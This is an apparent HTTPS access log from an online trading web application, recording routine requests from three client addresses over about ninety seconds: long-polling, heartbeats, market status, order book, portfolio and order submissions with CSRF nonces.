[09/Jan/2026:13:12:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935804087 HTTP/1.1" -
[09/Jan/2026:13:12:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935821196 HTTP/1.1" -
[09/Jan/2026:13:12:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:13:12:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:12:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:12:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 316
[09/Jan/2026:13:12:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:16 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:13:12:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935809239 HTTP/1.1" -
[09/Jan/2026:13:12:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935827188 HTTP/1.1" -
[09/Jan/2026:13:12:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:12:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:13:12:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:12:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1230
[09/Jan/2026:13:12:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935814435 HTTP/1.1" -
[09/Jan/2026:13:12:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:13:12:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:13:12:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1021
[09/Jan/2026:13:12:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:13:12:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:12:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:12:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:12:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1839
[09/Jan/2026:13:12:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935833185 HTTP/1.1" -
[09/Jan/2026:13:12:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935819498 HTTP/1.1" -
[09/Jan/2026:13:12:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:12:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935839198 HTTP/1.1" -
[09/Jan/2026:13:12:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:12:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935824543 HTTP/1.1" -
[09/Jan/2026:13:12:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:13:12:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1221
[09/Jan/2026:13:12:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:12:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:12:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:12:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:12:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1814
[09/Jan/2026:13:12:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935845198 HTTP/1.1" -
[09/Jan/2026:13:12:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935829596 HTTP/1.1" -
[09/Jan/2026:13:12:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:13:12:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:13:12:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=523E4B348B668A9C2E9FE08F7791F375 HTTP/1.1" 1021
[09/Jan/2026:13:12:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:13:12:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:12:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:12:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935834639 HTTP/1.1" -
[09/Jan/2026:13:12:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935851190 HTTP/1.1" -
[09/Jan/2026:13:12:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:12:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1341
[09/Jan/2026:13:12:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935839710 HTTP/1.1" -
[09/Jan/2026:13:12:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935857191 HTTP/1.1" -
[09/Jan/2026:13:12:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935844927 HTTP/1.1" -
[09/Jan/2026:13:12:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:12:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:12:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935863186 HTTP/1.1" -
[09/Jan/2026:13:13:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935850073 HTTP/1.1" -
[09/Jan/2026:13:13:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:13:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:13:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935869185 HTTP/1.1" -
[09/Jan/2026:13:13:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:13:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:13:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935855136 HTTP/1.1" -
[09/Jan/2026:13:13:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935875187 HTTP/1.1" -
[09/Jan/2026:13:13:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935860185 HTTP/1.1" -
[09/Jan/2026:13:13:15 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:13:15 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:13:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935881195 HTTP/1.1" -
[09/Jan/2026:13:13:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935865330 HTTP/1.1" -
[09/Jan/2026:13:13:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935870479 HTTP/1.1" -
[09/Jan/2026:13:13:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935887193 HTTP/1.1" -
[09/Jan/2026:13:13:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:13:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:13:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935875624 HTTP/1.1" -
[09/Jan/2026:13:13:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935893188 HTTP/1.1" -
[09/Jan/2026:13:13:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935880697 HTTP/1.1" -
[09/Jan/2026:13:13:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:13:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:13:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935899186 HTTP/1.1" -
[09/Jan/2026:13:13:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:13:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:13:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935885825 HTTP/1.1" -
[09/Jan/2026:13:13:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:13:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:13:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:13:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:13:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935905192 HTTP/1.1" -
[09/Jan/2026:13:13:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935890886 HTTP/1.1" -
[09/Jan/2026:13:13:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:13:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:13:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935911188 HTTP/1.1" -
[09/Jan/2026:13:13:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935896044 HTTP/1.1" -
[09/Jan/2026:13:13:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767935901196 HTTP/1.1" -
